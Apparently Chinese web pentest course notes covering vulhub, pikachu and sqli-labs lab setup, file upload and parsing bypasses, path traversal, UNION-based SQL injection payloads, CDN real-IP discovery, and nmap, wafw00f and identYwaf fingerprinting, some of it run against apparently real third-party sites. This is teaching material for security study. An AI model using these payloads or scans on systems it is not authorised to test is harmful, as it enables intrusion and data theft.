#后门是否给予执行权限

#后门是否给予操作目录或文件权限#后门是否给予其他用户权限

#总结下关于可能会存在的安全或防护问题?

1
2
3

### 3、web权限的设置

 在一般的情况下我们会对某个目录取消执行权限、最典型的就是图片目录这个目录只放图像没有脚本我们会取消执行的权限、这样我们可以防范一部分的文件上传漏洞、即使开发写的代码有问题也不会导致服务器出现安全事故。
 
 绕过方法:
 如果我们上传的文件如果不能正常的执行那么将文件放在其他目录、例如网站的根目录下面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

### 4、演示案例-环境搭建

#### 1、PHPinfo

- 基于中间件的简要识别

一般可以通过抓包的方式分析出是什么类型的服务器和中间件

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622700527471-3a825366-e98b-45be-9572-c0920e247011.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_937%2Climit_0)

可以看见在自己搭建的平台看见使用的apache(windows) php7.3

- 基于中间件的安全漏洞

可以根据在第一步上面收集到的信息、去找Apache的漏洞和PHP的漏洞

- 基于中间件的靶场使用

https://vulhub.org/#/environments/

这个是用docker搭建的一个靶场非常的方便

环境搭建并测试,参考文档:https://vulhub.org/#/docs/install-docker-one-click/

第一步安装好docker环境并下载文件

[root@hdss7-11 ~]# docker -v
Docker version 20.10.6, build 370c289
[root@hdss7-11 ~]# docker-compose -v
docker-compose version 1.18.0, build 8dd22a9
[root@hdss7-11 ~]# cd /opt/vulhub/
[root@hdss7-11 vulhub]# wget https://github.com/vulhub/vulhub/archive/master.zip

1
2
3
4
5

第二步https://vulhub.org/#/environments/查找你想做的环境

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622707451675-f5174469-2a23-4e9d-9b2a-d6bdc5629973.png?x-oss-process=image%2Fformat%2Cwebp%2Fresize%2Cw_937%2Climit_0)

[root@hdss7-11 vulhub]# cd vulhub-master/httpd/apache_parsing_vulnerability/
[root@hdss7-11 apache_parsing_vulnerability]# docker-compose up -d

1
2
3
4
5

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622707779631-f451c201-18e0-4689-8685-823bb22bc31e.png?x-oss-process=image%2Fformat%2Cwebp)

创建文件并命名为`x.php.jpeg`并上传

cat x.php.jpeg

1
2
3
4
5
6
7
8
9

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622708228398-8da74a73-5168-4203-ac82-8cd6d31e18d3.png?x-oss-process=image%2Fformat%2Cwebp)

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622708358457-161dc652-8bfd-4312-ab9e-bc79a6330840.png?x-oss-process=image%2Fformat%2Cwebp)

#### 2、wordpress

![img](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622708616162-5775e6c6-510e-4885-aa45-2c33b99d6666.png)

[root@hdss7-11 vulhub-master]# find . -name wordpress
./base/wordpress
./wordpress
[root@hdss7-11 vulhub-master]# cd wordpress/
[root@hdss7-11 wordpress]# cd pwnscriptum/
1.png docker-compose.yml exploit.py README.md README.zh-cn.md
[root@hdss7-11 pwnscriptum]# docker-compose up -d

1
2
3
4
5

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622709589181-6af61eb1-96cd-479d-8616-89bf3a8f7e03.png?x-oss-process=image%2Fformat%2Cwebp)

## Day4 **web源码拓展**

前言:WEB源码在安全测试中是非常重要的信息来源,可以用来代码审计漏洞也可以用来做信息突破口,其中WEB源码有很多技术需要简明分析。比如:获取某ASP源码后可以采用默认数据库下载为突破,获取某其他脚本源码漏洞可以进行代码审计挖掘或分析其业务逻辑等,总之源码的获取将为后期的安全测试提供了更多的思路。
1
2
3
4
5
6
7
8
9

1、关于WEB源码目录结构

2、关于WEB源码脚本类型

3、关于WEB源码应用分类

4、关于WEB源码其他说明

#数据库配置文件,后台目录,模版目录,数据库目录等

#ASP,PHP,ASPX,JSP,JAVAWEB等脚本类型源码安全问题

#社交,论坛,门户,第三方,博客等不同的代码机制对应漏洞

#开源,未开源问题,框架非框架问题,关于CMS识别问题及后续等

#关于源码获取的相关途径:搜索,咸鱼淘宝,第三方源码站,各种行业对应

#总结:

关注应用分类及脚本类型估摸出可能存在的漏洞(其中框架类例外),在获取源码后可进行本地安全测试或代码审计,也可以分析其目录工作原理(数据库备份,bak文件等),未获取到的源码采用各种方法想办法获取!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

![image.png](https://cdn.nlark.com/yuque/0/2021/png/2476579/1622711788547-6d6af02d-1d54-4110-b24e-c132e1746624.png?x-oss-process=image%2Fformat%2Cwebp)

参考文档:https://websec.readthedocs.io/zh/latest/intranet/windows.html



第三方源码获取:https://www.cnyma.com/

## Day5 系统及数据库

#### 1、识别操作系统常见方法

**a、有网站**

可以通过网站识别通过网站的手工识别方法判断:

windows对大小写不敏感也就是说你在网页中可以替换网站路径的大小写进行测试

**b、没有网站**

通过nmap进行扫描方法:

nmap -O IP地址



──(root💀kali)-[~/桌面]
└─# nmap -O 10.1.1.10
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 21:06 CST
Nmap scan report for 10.1.1.10 (10.1.1.10)
Host is up (0.0011s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 00:0C:29:13:E9:61 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

1
2
3
4
5



## Day6 加密编码算法

#常见加密编码等算法解析
MD5,SHA,ASC,进制,时间戳,URL,BASE64,Unescape,AES,DES等

#常见加密形式算法解析
直接加密,带salt,带密码,带偏移,带位数,带模式,带干扰,自定义组合等

#常见解密方式(针对)
枚举,自定义逆向算法,可逆向

#了解常规加密算法的特性
长度位数,字符规律,代码分析,搜索获取等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20



## Day7 CDN绕过方法

CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。但在安全测试过程中,若目标存在CDN服务,将会影响到后续的安全测试过程。

![img](https://cdn.nlark.com/yuque/0/2021/png/2476579/1623216008707-d063e412-ff3d-4256-8b9d-8ef9ef41d219.png)





### 1、如何判断目标存在CDN服务?

```bash
利用多节点技术进行请求返回判断
http://ping.chinaz.com/
http://ping.aizhan.com/
http://ce.cloud.360.cn/

如果ping的结果只有一个那么就没有CDN、要是不止一个则可以判断为有CDN

没有使用CDN

img

使用CDN

img

2、CDN对于安全测试有那些影响?

1
cdn会隐藏服务器真实的ip地址,无法对目标网站的操作系统进行渗透,但cdn站点又可以理解为是目标站点的镜像站点(大多数都是静态cdn加速),拥有相同的网站架构,且cdn服务器可与站点服务器进行交互,因此sql注入,xss等漏洞的挖掘并不受太大影响。

3、目前常见的CDN绕过技术有哪些?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
子域名查询:
因为有些主站是做了CDN服务而子站是没有做CDN服务
邮件服务查询
因为邮箱大部分都是内部人在访问、而且访问的量也不是很大,一般是没有做CDN。
国外地址请求
因为很多的企业没有在国外部署CDN,要是用国外的地址请求、就容易找到他的真实地址。
遗留文件、扫描全网
如PHPinfo信息当中会遗留出ip地址
黑暗引擎搜索
fofa、傻蛋、谛听、zoomeye、censys
特定文件dns历史记录,以量打量

#CDN真实IP地址获取后绑定指向地址
更改本地HOSTS解析指向文件

奇淫技巧
fackcdn w8fuckcdn zmap

Day8 信息收集-waf

信息收集.png

WAF防护分析

1、什么是WAF应用?

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

2、如何快速识别WAF?

1、采用工具wafwoof

获取地址:https://codeload.github.com/EnableSecurity/wafw00f/zip/refs/heads/master

安装之前一定要有python的环境不然安装不上

1
2
3
4
5
6
7
8
9
10
11
# unzip wafw00f-master.zip
# python3.8 setup.py install
# ls -ld wafw00f
drwxr-xr-x 6 root root 4096 6月 10 17:22 wafw00f
# cd wafw00f
#python main.py https://www.hlszsb.com/

[*] Checking https://www.hlszsb.com/
[+] Generic Detection results:
[-] No WAF detected by the generic detection
[~] Number of requests: 7

wafw00f的缺点判断的不是特别的准确存在误报或识别不出的情况。

2、在有些网站的请求信息当中有的网站没有做安全信息上面留下了waf的相关信息

image.png

3、使用nmap指纹检测

1
2
3
nmap --script==http-waf-fingerprint

nmap --script=http-waf-detec

4、identYwaf

参考地址:https://github.com/stamparm/identywaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\Users\admin\Desktop\security\软件\identYwaf-master>python identYwaf.py https://www.manjaro.cn/
__ __
____ ___ ___ ____ ______ | T T __ __ ____ _____
l j| \ / _]| \ | T| | || T__T T / T| __|
| T | \ / [_ | _ Yl_j l_j| ~ || | | |Y o || l_
| | | D YY _]| | | | | |___ || | | || || _|
j l | || [_ | | | | | | ! \ / | | || ]
|____jl_____jl_____jl__j__j l__j l____/ \_/\_/ l__j__jl__j (1.0.134)

[o] initializing handlers...
[i] checking hostname 'www.manjaro.cn'...
[i] running basic heuristic test...
[i] rejected summary: 200 ('<title>����ҳ��</title>')
[-] non-blind match: -
[i] running payload tests... (45/45)
[=] results: '.xx.xxxxx..xxxxxxxx.xxx.x...x.xxx......x..xxx'
[=] hardness: hard (60%)
[=] blocked categories: SQLi, XSS, XPATHi, XXE, PHPi, PT
[=] signature: '90fa:RVZXu261OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AA16FcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD'
[+] blind match: 'Safedog' (100%)

3、识别wAF对于安全测试的意义?

对于一个网站要是使用了waf而渗透人员没有识别直接使用工具进行扫描有可能会导致waf将你的ip地址拉入黑名单而不能访问。而识别waf在于有针对性行的绕过各个厂商的waf可能存在着不同的绕过思路。

Day9 APP信息收集

一、bp抓取手机数据包

手机IP地址:192.168.1.3

kali:192.168.1.9

burp配置

image.png

手机配置

img

抓包测试

img

配置证书

在浏览器中输入192.168.1.9:8888下载证书并重名为ca.cer 然后导入

img

导入证书:设置-密码与安全-系统安全-加密与凭证-从sd卡安装-然后搜索ca.cer

img

抓包测试

img

二、对抓取的数据包进行分析

通过对抓取到的数据包进行分析、数据包上面可能有域名有ip地址。对上面的数据包进行信息收集、借助shodan、钟馗之眼、fofa等工具进行端口扫描

imgimgimg

Day10 资产收集

一、GitHub项目监控

server酱:http://sc.ftqq.com/3.version

GitHub项目监控地址:https://github.com/weixiao9188/wechat_push

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# Title: wechat push CVE-2020
# Date: 2020-5-9
# Exploit Author: weixiao9188
# Version: 4.0
# Tested on: Linux,windows
# coding:UTF-8
import requests
import json
import time
import os
import pandas as pd
time_sleep = 20 #每隔20秒爬取一次
while(True):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400"}
#判断文件是否存在
datas = []
response1=None
response2=None
if os.path.exists("olddata.csv"):
#如果文件存在则每次爬取10个
df = pd.read_csv("olddata.csv", header=None)
datas = df.where(df.notnull(),None).values.tolist()#将提取出来的数据中的nan转化为None
response1 = requests.get(url="https://api.github.com/search/repositories?q=CVE-2020&sort=updated&per_page=10",
headers=headers)
response2 = requests.get(url="https://api.github.com/search/repositories?q=RCE&ssort=updated&per_page=10",
headers=headers)

else:
#不存在爬取全部
datas = []
response1 = requests.get(url="https://api.github.com/search/repositories?q=CVE-2020&sort=updated&order=desc",headers=headers)
response2 = requests.get(url="https://api.github.com/search/repositories?q=RCE&ssort=updated&order=desc",headers=headers)

data1 = json.loads(response1.text)
data2 = json.loads(response2.text)
for j in [data1["items"],data2["items"]]:
for i in j:
s = {"name":i['name'],"html":i['html_url'],"description":i['description']}
s1 =[i['name'],i['html_url'],i['description']]
if s1 not in datas:
#print(s1)
#print(datas)
params = {
"text":s["name"],
"desp":" 链接:"+str(s["html"])+"\n简介"+str(s["description"])
}
print("当前推送为"+str(s)+"\n")
print(params)
requests.get("https://sc.ftqq.com/XXXX.send",params=params,timeout=10)
#time.sleep(1)#以防推送太猛
print("推送完成!")
datas.append(s1)
else:
pass
#print("数据已处在!")
pd.DataFrame(datas).to_csv("olddata.csv",header=None,index=None)
time.sleep(time_sleep)

常见的子域名收集方法

img

二、黑暗引擎使用

fofa:https://fofa.so/

img

zoomeye:https://www.zoomeye.org/

img

Day11 Web 漏洞

前言:本章节将讲解各种WEB层面上的有那些漏洞类型,俱体漏洞的危害等级,以简要的影响范围测试进行实例分析,思维导图中的漏洞也是后面我们将要学习到的各个知识点,其中针对漏洞的形成原理,如何发现,如何利用将是本章节学习的重点内容!

web-漏洞小迪安全.png

1
2
3
4
5
6
CTE,SRc,红蓝对抗,实战等

#简要说明以上漏洞危害情况
#简要说明以上漏洞等级划分
#简要说明以上漏洞重点内容
#简要说明以上漏洞形势问题

一、pikachu环境搭建

**靶场搭建:**https://github.com/zhuifengshaonianhanlu/pikachu

docker环境

1
2
3
[root@oldjiang ~]# docker pull area39/pikachu
[root@oldjiang ~]# docker run -d -p8080:80 area39/pikachu
72ddd9a05d31fdb921765519c413f3f97dbb34560c9c14d9aa59de73e5d6b3eb

imgimgimg

二、sql注入之数字注入

img

img

在数据库中查看信息

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select * from member;
+----+----------+----------------------------------+------+-------------+-----------------------+-------------------+
| id | username | pw | sex | phonenum | address | email |
+----+----------+----------------------------------+------+-------------+-----------------------+-------------------+
| 1 | vince | e10adc3949ba59abbe56e057f20f883e | boy | 18626545453 | chain | vince@pikachu.com |
| 2 | allen | e10adc3949ba59abbe56e057f20f883e | boy | 13676767767 | nba 76 | allen@pikachu.com |
| 3 | kobe | e10adc3949ba59abbe56e057f20f883e | boy | 15988767673 | nba lakes | kobe@pikachu.com |
| 4 | grady | e10adc3949ba59abbe56e057f20f883e | boy | 13676765545 | nba hs | grady@pikachu.com |
| 5 | kevin | e10adc3949ba59abbe56e057f20f883e | boy | 13677676754 | Oklahoma City Thunder | kevin@pikachu.com |
| 6 | lucy | e10adc3949ba59abbe56e057f20f883e | girl | 12345678922 | usa | lucy@pikachu.com |
| 7 | lili | e10adc3949ba59abbe56e057f20f883e | girl | 18656565545 | usa | lili@pikachu.com |
+----+----------+----------------------------------+------+-------------+-----------------------+-------------------+

操作方法

  • 在文件/app/vul/sqli/sqli_id.php第27行下面增加一行 echo $query; 然后保存退出
1
2
27 		$query="select username,email from member where id=$id";
28 echo $query;

imgimg

  • 打开burp修改数据包

img

  • 获取到数据库信息

img

三、文件遍历漏洞

创建文件dir.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@eb8d8fc8a3e7:/app# pwd
/app
root@eb8d8fc8a3e7:/app# vim dir.php
root@eb8d8fc8a3e7:/app# pwd
/app
root@eb8d8fc8a3e7:/app# cat dir.php
<?php

function my_dir($dir) {
$files = [];
if(@$handle = opendir($dir)) {
while(($file = readdir($handle)) !== false) {
if($file != ".." && $file != ".") {
if(is_dir($dir . "/" . $file)) { //如果是子文件夹,进行递归
$files[$file] = my_dir($dir . "/" . $file);
} else {
$files[] = $file;
}
}
}
closedir($handle);
}
return $files;
}

echo "<pre>";
print_r(my_dir("../app"));
echo "</pre>";
root@eb8d8fc8a3e7:/app# chmod +x dir.php

img

**备注:**目录遍历漏洞一般由其他的漏洞配合才能实现漏洞的作用。

四、文件上传漏洞

img

1
2
3
4
5
┌──(root💀kali)-[~/桌面]
└─# cat phpinfo.jpg 2 ⚙
<?php
phpinfo();
?>

img

img

**注意:**文件上传一般是高危漏洞,因为要是上传的是木马文件可以直接拿下服务器。

五、文件下载漏洞

右击复制下载地址:http://10.1.1.133:8080/vul/unsafedownload/execdownload.php?filename=kb.png

img

在网站目录中查看

1
2
3
4
root@eb8d8fc8a3e7:/app/vul/unsafedownload/download# pwd
/app/vul/unsafedownload/download
root@eb8d8fc8a3e7:/app/vul/unsafedownload/download# ls
ai.png bigben.png camby.png kb.png lmx.png mbl.png ns.png oldfish.png pj.png rayal.png sks.png smallane.png

修改下载文件

http://10.1.1.133:8080/vul/unsafedownload/execdownload.php?filename=../unsafedownload.php

SQL注入漏洞部分

Day12 SQL注入

在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

SQL注入-小迪安全.png

一、SQL注入原理

  • 1.理解SQL注入

    ​ SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行。由于sql语句本身的多样性,以及可用于构造sql语句的编程方法很多,因此凡是构造sql语句的步骤均存在被攻击的潜在风险。Sql注入的方式主要是直接将代码插入参数中,这些参数会被置入sql命令中加以执行。间接的攻击方式是将恶意代码插入字符串中,之后将这些字符串保存到数据库的数据表中或将其当成元数据。当将存储的字符串置入动态sql命令中时,恶意代码就将被执行。

​ 如果web应用未对动态构造的sql语句使用的参数进行正确性审查(即便使用了参数化技术),攻击者就很可能会修改后台sql语句的构造。如果攻击者能够修改sql语句,那么该语句将与应用的用户具有相同的权限。当使用sql服务器执行与操作系统交互命令时,该进程将与执行命令的组件(如数据库服务器、应用服务器或web服务器)拥有相同的权限,这种权限的级别通常很高。如果攻击者执行以上恶意代码的插入操作成功,那么用户数据库服务器或者整个应用会遭到破坏,甚至被控制。

  • 2.sql注入的产生过程及常见原因

    • 2.1产生过程
      ​ 大多数的web应用都需要与数据库进行交互,并且大多数web应用编程语言(如ASP、C##、.NET、Java和PHP)均提供了可编程的方法来与数据库连接并进行交互。如果web应用开发人员无法确保在将从web表单,cookie及输入参数等收到的值传递给sql查询(该查询在数据库服务器上执行)之前已经对其进行过验证,那么通常会出现sql注入漏洞,如果攻击者能够控制发送给sql查询的输入,并且能够操纵该输入将其解析为代码而非数据,那么攻击者就很有可能有能力在后台数据库执行该代码。
    • 2.2常见的sql注入产生原因
      ​ 基于此,SQL注入的产生原因通常表现在以下几方面:①转义字符处理不合适;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤多个提交处理不当。
    • 2.2.1不当的处理类型
      ​ Sql数据库将单引号字符(’)解析成代码与数据间的分界线:单引号外面的内容军事需要运行的代码,而用单引号引起来的内容均是数据。因为只需要简单的在URL或WEB页面的字段中输入一个单引号,就能很快速的识别出web站点是否会受到sql注入攻击。
    • 2.2.2不安全的数据库配置

      ​ 数据库带有很多默认的用户预安装内容。SQL Server使用声名狼藉的“sa”作为数据库系统管理员账户,MySQL使用“root”和“anonymous”用户账户,Oracle则在创建数据库时通常会创建SYS、SYSTEM、DBSNMP和OUTLN账户。这些并非是全部的账号,知识比较出名的账户中的一部分,还有很多其他的账户。其他账户同样按默认方式进行预设,口令总所周知。

    • 这就带来了很大的安全风险,攻击者利用sql注入漏洞时,通常会常识访问数据库的元数据,比如内部的数据库和表的名称、列的数据类型和访问权限,例如MySQL服务器的元数据位于information_schema虚拟数据库中,可通过show databases;和show tables;命令访问。所有的MySQL用户均有权限访问该数据库中的表,但只能查看表中那些与该用户访问权限相对应的对象的行。

    • 2.2.3不合理的查询集处理
      ​ 有时需要使用动态的sql语句对某些复杂的应用进行编码,因为程序开发阶段可能还不知道要查询的表或字段(或者不存在)。比如与大型数据库交互的应用,这些数据库在定期创建的表中的数据由于应用已经产生了输入,因而开发人员会信任该数据,攻击者可以使用自己的表和字段数据来替换应用产生的值,从而影响系统的返回值。
    • 2.2.4不当的错误处理
      ​ 错误处理不当会为web站点带来很多安全方面的问题。最常见的问题是将详细的内部错误消息(如错误代码,数据库转存储)显示给用户或攻击。这些错误消息会泄露实现细节,为攻击者提供与网站潜在缺陷相关的重要线索。
    • 2.2.5多个提交处理不当

​ 大型的web开发项目会出现这样的问题:有些开发人员会对输入进行验证,而一些开发人员则不以为然。对于开发人员,团队,甚至公司来说,彼此独立工作的情形并不少见,很难保证项目中每个人都遵循相同的标准。
​ 应用打开发人员还倾向于围绕用户来设计应用,他们尽可能的使用预期的处理流程来引导用户,认为用户将遵循他们已经设计好的逻辑顺序。
​ 例如:当用户已到达一系列表单中的第三个表单时,他们会期望用户肯定已经完成第一个和第二个表达。但实际上,借助URL乱序来请求资源,能够非常容易的避开预期的数据流程。

二、mysql注入

img

三、忍者系统安装

**参考博客:**https://blog.csdn.net/qq_35258210/article/details/115457883

将镜像下载好使用VM安装,我给该系统分配了70个G硬盘,6G内存

镜像下载链接:链接: https://pan.baidu.com/s/1CAw9ztIUhCZgydNWHHWINg 密码: a33b

注意:

**1、**刚开始安装的时候vm可能无法读取到镜像、在进入的时候按enter键,其余的步骤和上面的博客一致、不在赘述。安装完成后截图,由于忍者系统是基于win10开发的而内存也给的相对比较大在使用的过程中很有可能出现卡顿的情况建议使用vm player打开忍者系统。

**2、**开始使用的时候忍者系统有两个网卡建议禁用两个让其中的一个通信

密码:toor

img

image.png

四、sql注入靶场搭建

1
2
3
[root@oldjiang ~]# docker pull acgpiano/sqli-labs
[root@oldjiang ~]# docker run -dt --name sqli -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs
[root@oldjiang ~]# docker exec -it sqli /bin/bash

访问img

img

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
root@1f9ac3840241:/# cat /var/www/html/Less-2/index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title>
</head>

<body bgcolor="#000000">




<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}

?>


</font> </div></br></br></br><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>

**备注:**在上面的代码中可以看到$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";直接传递的变量$id带入sql语句中执行没有做任何的限制,这样为恶意代码插入执行创造了条件。通过修改带入的代码执行的语句最终达到SQL注入获取敏感信息

  • 在数据库中执行:

id=-1 是为了让回显的结果为空执行后面union的字句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from emails;
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+
8 rows in set (0.00 sec)

mysql> SELECT * FROM users WHERE id=-1 LIMIT 0,1; #显示的结果为空、因为没有id=-1的字段
Empty set (0.00 sec)


mysql> SELECT * FROM users WHERE id=-1 union select 1,email_id,3 from emails LIMIT 0,1;
+----+------------------+----------+
| id | username | password |
+----+------------------+----------+
| 1 | Dumb@dhakkan.com | 3 |
+----+------------------+----------+
1 row in set (0.00 sec)
  • 在网页中执行

%20在网页的URL编码中为空格,在id=-2添加代码:union select 1,email_id,3 from emails

img

**总结:**可控变量,带入数据库查询,变量未存在过滤或过滤不严谨。

测试题:参数x有注入,以下那个注入测试正确?

1
2
3
4
a. www.xiaodi8.com/news.php?y=1 and 1=1&x=2
b. www.xiaodi8.com/news.php?y=1&x=2 and 1=1
c. www .xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1
d. www .xiaodi8.com/news.php?xx=1 and 1=1&xxx=2 and 1=1

判断是否存在注入点

1
2
3
4
5
6
7
8
1、逻辑值
and 1 = 1 页面正常
and 1 = 2 页面异常
则可能存在注入点

2、order by
通过order by 判断注入的字段数

  • 信息收集
1
2
3
4
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
  • 版本探测的意义
1
2
3
在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。

  • 获取相关信息
1
2
3
4
5
information_schema.tables			#information_schema下面的所有表名
information_schema.columns #information_schema下面所有的列名
table_name #表名
column_name #列名
table_schema #数据库名

PHP基础

在指导 Web 方向入门时,我们常说要有一点 PHP 基础,很对新生会对此疑惑 —— 什么程度的基础。 因为 CTF 或者说安全并不是要求你做开发工作,而是审计工作,你不需要完全学习一门语言之后再去处理工作,这没有太大意义。

本节内容将介绍在 CTF 比赛中涉及的 PHP 基础语法内容,当然因为篇幅原因,不会太过详细,读者需要结合内容自行在做题的基础上扩展。

PHP 基础格式

PHP 脚本以 ** 开始,以 ?> 结束:

1
2
3
<?php
//执行的相关PHP代码
?>

变量 赋值 以及 运算

PHP 中,变量以 $ 符号开始,后面跟着变量的名称,并且变量名是区分大小写的(y和y和Y 是两个不同的变量)

要注意的是 PHP 是一门弱类型语言,我们不必向 PHP 声明该变量的数据类型。

1
2
3
4
5
6
7
<?php
$x_int = 1024;
$y_int = 0xFFF;
$float_num = 1.5;
$txt_string = "Hello CTF!";
$stat_Boolean = true;
?>

赋值 以及 复合赋值

运算符 等同于 描述
x = y x = y 左操作数被设置为右侧表达式的值
x ?= y x = x ? y 支持 +=, -=, *=, /=, %=,.=

逻辑运算

运算符 名称 描述
x and / && y 如果 x 和 y 都为 true,则返回 true
x or / || y 如果 x 和 y 至少有一个为 true,则返回 true
x xor y 异或 如果 x 和 y 有且仅有一个为 true,则返回 true
! x 如果 x 不为 true,则返回 true

类型比较

  • 松散比较:使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
1
2
0 == false: bool(true)
0 === false: bool(false)

输出

  • echo - 可以输出一个或多个字符串
  • print - 只允许输出一个字符串,返回值总为 1
1
2
3
<?php
echo "Hello CTF 很有趣!";
?>

数组

array() 函数用于创建数组

1
2
3
4
<?php
$cars=array("Hello","CTF");
echo "I like " . $cars[0] . " " . $cars[1] . ".";
?>

使用 [] 定义数组

1
2
3
4
5
6
$z = ['H','e','l', 'l', 'o'];
$z[0] = 'H';
$z[1] = 'r';
$z[2] = 'l';
$z[3] = 'l';
$z[4] = 'o';

魔术常量

行如 **__FILE__ ** 这样的 __XXX__ 预定义常量,被称为魔术常量。

1
2
3
__FILE__ //返回文件的完整路径和文件名

highlight_file(__FILE__); //代码高亮的显示当前文件内容

内建函数

文件操作函数

  • include(): 导入并执行指定的 PHP 文件。例如:include('config.php'); 会导入并执行 config.php 文件中的代码。
  • require(): 类似于 include(),但如果文件不存在,则会产生致命错误。
  • include_once(), require_once(): 与 includerequire 类似,但只导入文件一次。
  • fopen(): 打开一个文件或 URL。例如:$file = fopen("test.txt", "r"); 会以只读模式打开 test.txt
  • file_get_contents(): 读取文件的全部内容到一个字符串。例如:$content = file_get_contents("test.txt");
  • file_put_contents(): 将一个字符串写入文件。例如:file_put_contents("test.txt", "Hello World!");

代码执行函数

  • eval(): 执行字符串中的 PHP 代码。例如:eval('$x = 5;'); 会设置变量 $x 的值为 5。
  • assert(): 用于调试,检查一个条件是否为 true。
  • system(), shell_exec(), exec(), passthru(): 执行外部程序或系统命令。例如:system("ls"); 会执行 ls 命令并显示输出。

